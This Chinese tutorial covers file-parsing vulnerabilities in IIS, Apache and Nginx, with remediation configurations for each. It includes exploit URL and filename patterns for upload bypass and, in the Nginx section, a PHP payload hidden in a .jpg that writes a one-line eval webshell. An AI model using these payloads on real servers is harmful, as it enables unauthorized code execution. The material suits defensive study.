企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持私有化部署方案 广告
[TOC] ## web中间件解析漏洞 常见的web中间为IIS,NGING,APACHE三个 ### 一、IIS5.x-6.x解析漏洞: 使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。 #### 漏洞简介 1. 目录解析(6.0) 形式:www.xxx.com/xx.asp/xx.jpg 原理:服务器默认会把.asp,.asa目录下的文件都解析成asp文件。 2. 文件解析 形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。 3. 解析文件类型 IIS6.0默认的可执行文件除了asp还包含这三种 :/test.asa、/test.cer、/test.cdx #### 修复方案 1. 无微软官方的补丁,可自己编写正则,阻止上传xx.asp;.jpg类型的文件名。 2. 做好权限设置,限制用户创建文件夹** ### 二、IIS7.5解析漏洞: 漏洞的出现几率相当小 漏洞原理: IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了`cgi.fix_pathinfo`,而这并不是nginx或者iis7.5本身的漏洞。 > 开启IIS功能可以参考:https://www.xp.cn/a.php/182.html 当安装完成后,php.ini里如果默认`cgi.fix_pathinfo=1`,就会将后缀名为.php的路径当做php文件进行解析。 ```url #原url http://x.x.x.x/upload/webshell.jpg #改造后 http://x.x.x.x/upload/webshell.jpg/.php ``` ### 三、apache解析漏洞: #### 漏洞简介 1. 漏洞原理: Apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。 比如`test.php.owf.rar`,“.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。 2. 漏洞形式 www.xxxx.xxx.com/test.php.php123 3. 其余配置问题导致漏洞 (1)如果配置有`AddHandler php5-script .php`,这时只要文件名里包含.php,如test2.php.jpg,也会以php来执行。 (2)如果配置有`AddType application/x-httpd-php .jpg` 即使扩展名是.jpg,一样能以 php 方式执行。 #### 修复方案: 1. apache配置文件,禁止.php这样的文件执行 ```cmd <Files ~ “.(php.|php3.)”>         Order Allow,Deny         Deny from all </Files> ``` 2. 用伪静态重写类似.php.\*这类文件, 在httpd.conf找到`LoadModule rewrite_module modules/mod_rewrite.so`,把注释去掉 重启apache,在网站根目录建立.htaccess文件,代码如下: ``` <IfModule mod_rewrite.c> RewriteEngine On RewriteRule .(php.|php3.) /index.php RewriteRule .(pHp.|pHp3.) /index.php RewriteRule .(phP.|phP3.) /index.php RewriteRule .(Php.|Php3.) /index.php RewriteRule .(PHp.|PHp3.) /index.php RewriteRule .(PhP.|PhP3.) /index.php RewriteRule .(pHP.|pHP3.) /index.php RewriteRule .(PHP.|PHP3.) /index.php </IfModule> ``` ### 四、nginx解析漏洞: #### 漏洞简介 1. 漏洞原理: Nginx默认是以 CGI 的方式支持 PHP 解析的,普遍的做法是在 Nginx 配置文件中通过正则匹配设置`SCRIPT_FILENAME`,然后将`SCRIPT_FILENAME`传递给 PHP CGI 假如有url:www.xx.com/phpinfo.jpg/1.php,匹配到的SCRIPT_FILENAME应该是1.php,如果开启了`fix_pathinfo`参数,那么就会触发在 PHP中的如下逻辑: PHP认为`SCRIPT_FILENAME`是phpinfo.jpg,而1.php是`PATH_INFO`,所以就会将phpinfo.jpg作为 PHP 文件来解析了。 2. 漏洞形式: ```url www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\\0.php xxx.jpg%00.php (Nginx <8.03空字节代码执行漏洞) ``` 3. 另外一种手法: 上传一个名字为test.jpg,以下内容的文件。 ```php <?PHP fputs(fopen('shell.php','w'),'<?php eval($\_POST\[cmd\])?>');?> ``` 然后访问/test.jpg/.php,在这个目录下就会生成一句话木马shell.php #### 修复方案 1. 修改php.ini文件,将`cgi.fix_pathinfo`的值设置为0; 2. 在Nginx配置文件中添加以下代码: ``` if ( $fastcgi_script_name ~ ..*/.*php ) { return 403; } ``` 这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。**